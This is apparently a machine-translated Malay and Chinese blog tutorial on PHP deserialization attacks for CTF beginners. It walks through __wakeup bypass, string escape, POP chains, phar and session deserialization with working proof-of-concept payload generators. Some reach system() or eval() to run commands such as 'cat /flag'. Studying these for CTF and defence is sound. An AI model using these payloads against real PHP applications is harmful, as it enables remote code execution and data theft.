Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

Lepaskan: 2023-04-11 10:12:02
ke hadapan
5464 orang telah melayarinya

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

Saya baru-baru ini menulis beberapa soalan deserialisasi Saya mempunyai sedikit bakat dan pengetahuan. Saya harap ia akan membantu pemula CTF.

Pemahaman ringkas tentang penyahserikatan PHP

Pertama-tama kita perlu memahami apa itu bersiri dan apa itu penyahserikatan?

Siri PHP: serialize()

Serialization ialah proses menukar pembolehubah atau objek kepada rentetan, yang digunakan untuk menyimpan atau memindahkan nilai PHP , tanpa kehilangannya jenis dan struktur.

Penyahserikatan PHP: unserialize()

Penyahserikatan ialah proses menukar rentetan kepada pembolehubah atau objek

Dengan bersiri dengan Penyahserian membolehkan kita untuk mudah memindahkan objek dalam PHP. Penyahserialisasian pada dasarnya tidak berbahaya. Tetapi jika pengguna mempunyai kawalan ke atas data, dia boleh menggunakan penyahserikatan untuk membina serangan muatan. Ini mungkin tidak begitu spesifik Contohnya, jika anda membeli rak dalam talian, untuk menjimatkan kos, ia akan dibongkar dan dihantar kepada anda Apabila ia berada di tangan anda, anda akan diberi arahan untuk memasangnya akan dibongkar dan diberikan kepada anda Proses ini boleh dikatakan sebagai bersiri, dan proses pemasangan anda adalah penyahserikatan

Setelah berkata begitu, mengapa tidak mengujinya secara langsung

Surat bersiri PHP pengecam

  • a - array

  • b - boolean

  • d - double

  • i - integer

  • o - objek biasa

  • r - rujukan

  • s - rentetan

  • C - objek tersuai

  • O - kelas

  • N - null

  • R - rujukan penunjuk

  • U - rentetan unicode

  • N - NULL

Ujinya

<?php  
class TEST{  
public $test1="11";  
private $test2="22";  
protected $test3="33";  
public function test4()  
{  
echo $this->test1;  
}  
}  
$a=new TEST();  
echo serialize($a);  
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
Salin selepas log masuk

O mewakili kelas, kemudian 4 mewakili panjang nama kelas, kemudian nama kelas dalam petikan berganda

dan kemudian bilangan pembolehubah dalam kelas: {Type: Length: "value"; type: length: "value"...and so on}

protected and private actually have non-printable characters, jadi inilah tangkapan skrin

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

Seperti yang anda lihat daripada gambar, terdapat beberapa aksara yang tidak boleh dicetak Terdapat beberapa perkara istimewa tentang perkara ini, dan butirannya ditulis di bahagian belakang

Kadang-kadang apabila membuat soalan, untuk mengelakkan Jika terdapat sebarang kejutan dalam rujukan, anda biasanya akan urlencodenya

Apakah kaedah ajaib itu?

Apabila membuat soalan penyahserialisasian PHP, anda akan sentiasa menghadapi kaedah ajaib

Malah, ia adalah kaedah khas yang mengatasi lalai PHP apabila melakukan operasi tertentu pada objek. Operasi

adalah seperti berikut Kaedah sihir binaan dan pemusnah biasa digunakan di sini, yang sebenarnya merupakan pembina dan pemusnah

<?php  
class A{  
public $a="这里是__construct";  
public function __construct()  
{  
echo $this->a;  
}  
public function __destruct()  
{  
echo $this->a="这里是__destruct";  
}  

}  
$a=new A();

//输出这里是construct这里是destruct
Salin selepas log masuk

Beberapa kaedah sihir ujian juga akan diberikan dalam soalan berikut. . Contoh

Saya ingin membeli memberikan situasi di mana kaedah ajaib dicetuskan, yang sangat membantu untuk menyelesaikan masalah

  • __konstruk dipanggil apabila objek dicipta ,

  • __destruct dipanggil apabila objek dimusnahkan,

  • __toString dipanggil apabila objek dianggap sebagai rentetan.

  • __wakeup() Dicetuskan apabila menggunakan unserialize

  • __sleep() Dicetuskan apabila menggunakan serialize

  • __destruct() dicetuskan apabila objek dimusnahkan

  • __call() dipanggil secara automatik apabila kaedah yang tidak wujud atau tidak boleh diakses

  • __callStatic() dicetuskan apabila kaedah tidak boleh diakses dipanggil dalam konteks statik

  • __get() digunakan untuk membaca data daripada harta tidak boleh diakses

  • __set() akan dipanggil apabila memberikan nilai kepada atribut tidak boleh diakses (dilindungi atau peribadi) atau atribut tidak wujud

  • __isset() isset() dipanggil pada atribut tidak boleh diakses ) atau empty() mencetuskan

  • __unset() mencetuskan apabila menggunakan unset() pada harta yang tidak boleh diakses

  • __toString() meletakkan kelas Dicetuskan apabila digunakan sebagai rentetan, nilai pulangan perlu menjadi rentetan

  • __invoke() Dicetuskan apabila skrip cuba memanggil objek sebagai fungsi

Melihat sahaja tidak cukup untuk memahami, anda perlu mencubanya sendiri Di bawah saya telah membuat beberapa soalan CTF dan berkongsi dengan anda di sini

Soalan deserialisasi mudah<. 🎜>

Soalan datang daripada [SWPUTCF 2021 Freshman Competition] ez_unserialize

<?php  
error_reporting(0);  
show_source("cl45s.php");  

class wllm{  

public $admin;  
public $passwd;  

public function __construct(){  
$this->admin ="user";  
$this->passwd = "123456";  
}  

public function __destruct(){  
if($this->admin === "admin" && $this->passwd === "ctf"){  
include("flag.php");  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo "Just a bit more!";  
}  
}  
}  

$p = $_GET[&#39;p&#39;];  
unserialize($p);  
?>
Salin selepas log masuk
Dalam kaedah

konstruk, pentadbir diberikan kepada pengguna, passwd diberikan kepada 123456<🎜 , dan dalam Kaedah pemusnahan perlu mewujudkan formula untuk mengeluarkan bendera$this->admin === "admin" && $this->passwd === "ctf"Penyahserikatan PHP ialah kod yang boleh mengawal atribut kaedah kelas tetapi tidak boleh mengubah kaedah kelas

, jadi kami boleh menukarnya secara terus

Kemudian hanya lulus parameter Secara amnya, URL perlu dikodkan di sini untuk mengelakkan aksara yang tidak boleh dicetak aksara apabila atribut dilindungi peribadi disirikan.
<?php  
class wllm{  

public $admin;  
public $passwd;  
public function __construct(){  
$this->admin ="admin";  
$this->passwd = "ctf";  
}  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>
Salin selepas log masuk

__wakeup bypassIni sebenarnya CVE, CVE-2016-7124

Versi php5 yang terjejas<5.6.25 ,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

<?php  
class A{  
public $a;  
public function __construct()  
{  
$this->a="触发__construct";  
}  
public function __wakeup()  
{  
$this->a="触发__wakeup";  
}  
public function __destruct()  
{  
echo $this->a;  
}  

}  
$a=new A();  
echo serialize($a);
Salin selepas log masuk

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过

<?php  
include &#39;class.php&#39;;  
$select = $_GET[&#39;select&#39;];  
$res=unserialize(@$select);

<?php  
include &#39;flag.php&#39;;  


error_reporting(0);  


class Name{  
private $username = &#39;nonono&#39;;  
private $password = &#39;yesyes&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  

function __wakeup(){  
$this->username = &#39;guest&#39;;  
}  

function __destruct(){  
if ($this->password != 100) {  
echo "</br>NO!!!hacker!!!</br>";  
echo "You name is: ";  
echo $this->username;echo "</br>";  
echo "You password is: ";  
echo $this->password;echo "</br>";  
die();  
}  
if ($this->username === &#39;admin&#39;) {  
global $flag;  
echo $flag;  
}else{  
echo "</br>hello my friend~~</br>sorry i can&#39;t give you the flag!";  
die();  

}  
}  
}
Salin selepas log masuk

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
//echo urlencode(serialize($a));  
//echo serialize($a);  
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
var_dump(unserialize(urldecode($b)));
Salin selepas log masuk

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
Salin selepas log masuk

得到flag

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

POC

<?php  

 

class Name{  
private $username = &#39;admin&#39;;  
private $password = &#39;100&#39;;  

public function __construct($username,$password){  
$this->username = $username;  
$this->password = $password;  
}  


}  

$a=new Name(&#39;admin&#39;,&#39;100&#39;);  
echo urlencode(serialize($a));  
//echo serialize($a);  
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
?>
Salin selepas log masuk

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

<?php  
highlight_file(__FILE__);  
class A  
{  
public $a;  
public $b;  
public $c;  
public function __construct()  
{  
$this->a=$_GET[&#39;a&#39;];  
$this->b="noflag";  
$this->c=$_GET[&#39;c&#39;];  
}  
public function check()  
{  
if ($this->b==="123")  
{  
echo "flag{123dddd}";  
}  
else if ($this->a==="test")  
{  
echo "give you flag";  
}  
else  
{  
echo "no flag";  
}  
}  
public function __destruct()  
{  
$this->check();  
}  
}  
$a=new A();  
$b=serialize($a);  
$c=str_replace("aa","b",$b);  
unserialize($c);
Salin selepas log masuk

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a);  
echo $b;  
$c=str_replace("aa","b",$b);  
echo($c);  
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}
Salin selepas log masuk

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

print(len(&#39;";s:1:"b";s:6:"noflag";s:1:"c";s:3:&#39;))  
print(36*&#39;aa&#39;)  
//35  
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Salin selepas log masuk

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:

print(len(&#39;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:&#39;))
Salin selepas log masuk

刚好为72个,成功反序列化,得到flag

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

由短变长

题目来自ctfshowWEB262

index.php

<?php  
error_reporting(0);  
class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

$f = $_GET[&#39;f&#39;];  
$m = $_GET[&#39;m&#39;];  
$t = $_GET[&#39;t&#39;];  

if(isset($f) && isset($m) && isset($t)){  
$msg = new message($f,$m,$t);  
$umsg = str_replace(&#39;fuck&#39;, &#39;loveU&#39;, serialize($msg));  
setcookie(&#39;msg&#39;,base64_encode($umsg));  
echo &#39;Your message has been sent&#39;;  
}
Salin selepas log masuk

highlight_file(FILE);

从题目注释里可以找到message.php

message.php源码

<?php  

highlight_file(__FILE__);  
include(&#39;flag.php&#39;);  

class message{  
public $from;  
public $msg;  
public $to;  
public $token=&#39;user&#39;;  
public function __construct($f,$m,$t){  
$this->from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

if(isset($_COOKIE[&#39;msg&#39;])){  
$msg = unserialize(base64_decode($_COOKIE[&#39;msg&#39;]));  
if($msg->token==&#39;admin&#39;){  
echo $flag;  
}  
}
Salin selepas log masuk

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

<?php  
class test  
{  
public $username="fuckfuck";  
public $password;  

}  

$a=new test();  
//echo serialize($a);  
echo str_replace(&#39;fuck&#39;,&#39;loveU&#39;,serialize($a));  
//O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;}  
//O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;}
Salin selepas log masuk

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload
?f=1
&m=1
&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
Salin selepas log masuk

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

<?php  

error_reporting(0);  
show_source("index.php");  

class w44m{  

private $admin = &#39;aaa&#39;;  
protected $passwd = &#39;123456&#39;;  

public function Getflag(){  
if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){  
include(&#39;flag.php&#39;);  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo &#39;nono&#39;;  
}  
}  
}  

class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  

class w33m{  
public $w00m;  
public $w22m;  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 0;  
}  
}  

$w00m = $_GET[&#39;w00m&#39;];  
unserialize($w00m);  

?>
Salin selepas log masuk

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === &#39;w44m&#39; && $this->passwd ===&#39;08067&#39;){
echo $flag;
Salin selepas log masuk

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

<?php  
class w44m{  

private $admin = &#39;w44m&#39;;  
protected $passwd = &#39;08067&#39;;  

}  
class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  
class w33m{  
public $w00m="";  
public $w22m="getflag";  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 1;  
}  
}  
$a=new w22m();  
$a->w00m=new w33m();  
$a->w00m->w00m=new w44m();  
echo urlencode( serialize($a));  


?>
Salin selepas log masuk

[NISACTF 2022]babyserialize

<?php  
include "waf.php";  
class NISA{  
public $fun="show_me_flag";  
public $txw4ever;  
public function __wakeup()  
{  
if($this->fun=="show_me_flag"){  
hint();  
}  
}  

function __call($from,$val){  
$this->fun=$val[0];  
}  

public function __toString()  
{  
echo $this->fun;  
return " ";  
}  
public function __invoke()  
{  
checkcheck($this->txw4ever);  
@eval($this->txw4ever);  
}  
}  

class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class Ilovetxw{  
public $huang;  
public $su;  

public function __call($fun1,$arg){  
$this->huang->fun=$arg[0];  
}  

public function __toString(){  
$bb = $this->su;  
return $bb();  
}  
}  

class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

public function __set($name, $value)  
{  
$this->$name=$value;  
if ($this->fun = "sixsixsix"){  
strtolower($this->a);  
}  
}  
}  

if(isset($_GET[&#39;ser&#39;])){  
@unserialize($_GET[&#39;ser&#39;]);  
}else{  
highlight_file(__FILE__);  
}  

//func checkcheck($data){  
// if(preg_match(......)){  
// die(something wrong);  
// }  
//}  

//function hint(){  
// echo ".......";  
// die();  
//}  
?>

查看了一下提示发现什么也没有

if(isset($_GET[&#39;ser&#39;])){@unserialize($_GET[&#39;ser&#39;]);

这是头部

这是尾部

public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);

}
Salin selepas log masuk

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){  
$this->fun=$val[0];  
}
Salin selepas log masuk

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的wakeup会触发call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

<?php  
class nisa  
{  
public $b="";  
}  
class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class test  
{  
public $a ="";  
public function __call($a,$b)  
{  
echo "call";  
}  
}  
$a=new TianXiWei();  
$a->ext=new test();  
//echo urlencode(serialize($a));  
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}
Salin selepas log masuk

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

POC

<?php  
class NISA  
{  
public $fun = "";  
public $txw4ever = "sYstem(&#39;ls /&#39;);";//有过滤,大小写绕过  
}  
class TianXiWei{  
public $ext;  
public $x;  
}  
class Ilovetxw{  
public $huang;  
public $su;  
}  
class four{  
public $a="TXW4EVER";  
private $fun=&#39;abc&#39;;  

}  
$a=new TianXiWei();//从这里下手触发__wakeup  
$a->ext=new Ilovetxw();//触发__call  
$a->ext->huang=new four();//触发__set  
$a->ext->huang->a=new Ilovetxw();//触发__tosrting  
$a->ext->huang->a->su=new NISA();//触发__invoke  
echo urlencode(serialize($a));
Salin selepas log masuk

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

  • the file contents:被压缩文件的内容。这里不是重点,内容不影响

  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾

<?php  
class Test {//自定义  
}  

@unlink("phar.phar");  
$phar = new Phar("phar.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
$o = new Test();  
$phar->setMetadata($o); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  

?>
Salin selepas log masuk

生成一个phar.phar文件

Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

拉进010分析

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file

<?php  
highlight_file(__FILE__);  
class Test {//自定义  
public $name=&#39;phpinfo();&#39;;  
}  
$phar=new phar(&#39;rce.phar&#39;);  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>");  
$o=new Test();  
$phar->setMetadata($o);  
$phar->addFromString("flag.txt","flag");//添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  
?>
Salin selepas log masuk

这里用file_get_contents测试下

<?php  
class test{  
public $name=&#39;&#39;;  
public function __destruct()  
{  
eval($this->name);  
}  
}  

echo file_get_contents(&#39;phar://rce.phar/flag.txt&#39;);  
?>
Salin selepas log masuk

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

漏洞利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的魔术方法作为“跳板”。

  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar
Salin selepas log masuk

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif
Salin selepas log masuk

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

<?php  
class aa{  
public $name;  

public function __construct(){  
$this->name=&#39;aa&#39;;  
}  

public function __destruct(){  
$this->name=strtolower($this->name);  
}  
}  

class ff{  
private $content;  
public $func;  

public function __construct(){  
$this->content="<?php @eval($_POST[1]);?>";  
}  

public function __get($key){  
$this->$key->{$this->func}($_POST[&#39;cmd&#39;]);  
}  
}  

class zz{  
public $filename;  
public $content=&#39;surprise&#39;;  

public function __construct($filename){  
$this->filename=$filename;  
}  

public function filter(){  
if(preg_match(&#39;/^/|php:|data|zip|..//i&#39;,$this->filename)){  
die(&#39;这不合理&#39;);  
}  
}  

public function write($var){  
$filename=$this->filename;  
$lt=$this->filename->$var;  
//此功能废弃,不想写了  
}  

public function getFile(){  
$this->filter();  
$contents=file_get_contents($this->filename);  
if(!empty($contents)){  
return $contents;  
}else{  
die("404 not found");  
}  
}  

public function __toString(){  
$this->{$_POST[&#39;method&#39;]}($_POST[&#39;var&#39;]);  
return $this->content;  
}  
}  

class xx{  
public $name;  
public $arg;  

public function __construct(){  
$this->name=&#39;eval&#39;;  
$this->arg=&#39;phpinfo();&#39;;  
}  

public function __call($name,$arg){  
$name($arg[0]);  
}  
}

<?php  
error_reporting(0);  
$filename=$_POST[&#39;file&#39;];  
if(!isset($filename)){  
die();  
}  
$file=new zz($filename);  
$contents=$file->getFile();  
?>  
<br>  
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
Salin selepas log masuk

构造链子

先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),

__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性

访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,

aa::destruct()->zz::toString()->zz::write->xx->ff::__get()

看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问

如下代码进行测试

<?php  
class test  
{  
private $a;  
public $b;  

public function __construct($a,$b)  
{  
$this->a="aaa";  
$this->b="bbb";  

}  
public function __get($name)  
{  
// TODO: Implement __get() method.  

$this->a="__get";  
$this->b="111";  
}  
public function __destruct()  
{  
echo $this->a;  
echo $this->b;  
}  
}  
$a =new test("s","s");  
//echo $a->a;  
$b=serialize($a);  
unserialize($b);
Salin selepas log masuk

注释掉echo 输出是aaabbbaaabbb

去掉注释输出是get111get111

如此那么构造POP链子

<?php  
class aa{  
public $name;  
}  
class ff{  
private $content;  
public $func;  
public function __construct(){  
$this->content=new xx();//这里New xx  
}  
}  
class zz{  
public $filename;  
public $content;  
}  
class xx  
{  
public $name;  
public $arg;  
}  

$a=new aa();  
$c=new ff();  
$a->name=new zz();  
$c->func="system";  
$a->name->filename=$c;  

$phar = new Phar("flag.phar"); //后缀名必须为phar  
$phar->startBuffering();  
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub  
//$o = new Test();  
$phar->setMetadata($a); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();
Salin selepas log masuk

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

上传之后使用phar协议读取

file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag

session反序列化

session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。

而session是以文件方式存储的

直接找一道题做做

题目来自ctfshowWEB263

打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch

dirsearch -u "http://4b00e046-35c4-458d-93e7-e3ff83049288.challenge.ctf.show/" -e*

1Ringkasan permulaan dengan penyahserikatan PHP (mesti dibaca untuk pemula)

存在源码泄露,访问www.zip,下载下来源码,关键代码

index.php源码

*/  
error_reporting(0);  
session_start();  
//超过5次禁止登陆  
if(isset($_SESSION[&#39;limit&#39;])){  
$_SESSION[&#39;limti&#39;]>5?die("登陆失败次数超过限制"):$_SESSION[&#39;limit&#39;]=base64_decode($_COOKIE[&#39;limit&#39;]);  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;]) +1);  
}else{  
setcookie("limit",base64_encode(&#39;1&#39;));  
$_SESSION[&#39;limit&#39;]= 1;  
}  

?>
Salin selepas log masuk

check.php源码

<?php  

/*  
# -*- coding: utf-8 -*-  
# @Author: h1xa  
# @Date: 2020-09-03 16:59:10  
# @Last Modified by: h1xa  
# @Last Modified time: 2020-09-06 19:15:38  
# @email: h1xa@ctfer.com  
# @link: https://ctfer.com  

*/  

error_reporting(0);  
require_once &#39;inc/inc.php&#39;;  
$GET = array("u"=>$_GET[&#39;u&#39;],"pass"=>$_GET[&#39;pass&#39;]);  


if($GET){  

$data= $db->get(&#39;admin&#39;,  
[ &#39;id&#39;,  
&#39;UserName0&#39;  
],[  
"AND"=>[  
"UserName0[=]"=>$GET[&#39;u&#39;],  
"PassWord1[=]"=>$GET[&#39;pass&#39;] //密码必须为128位大小写字母+数字+特殊符号,防止爆破  
]  
]);  
if($data[&#39;id&#39;]){  
//登陆成功取消次数累计  
$_SESSION[&#39;limit&#39;]= 0;  
echo json_encode(array("success","msg"=>"欢迎您".$data[&#39;UserName0&#39;]));  
}else{  
//登陆失败累计次数加1  
$_COOKIE[&#39;limit&#39;] = base64_encode(base64_decode($_COOKIE[&#39;limit&#39;])+1);  
echo json_encode(array("error","msg"=>"登陆失败"));  
}  
}

inc.php中有一个这个

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);

而session存储格式(序列化)其中有这两种

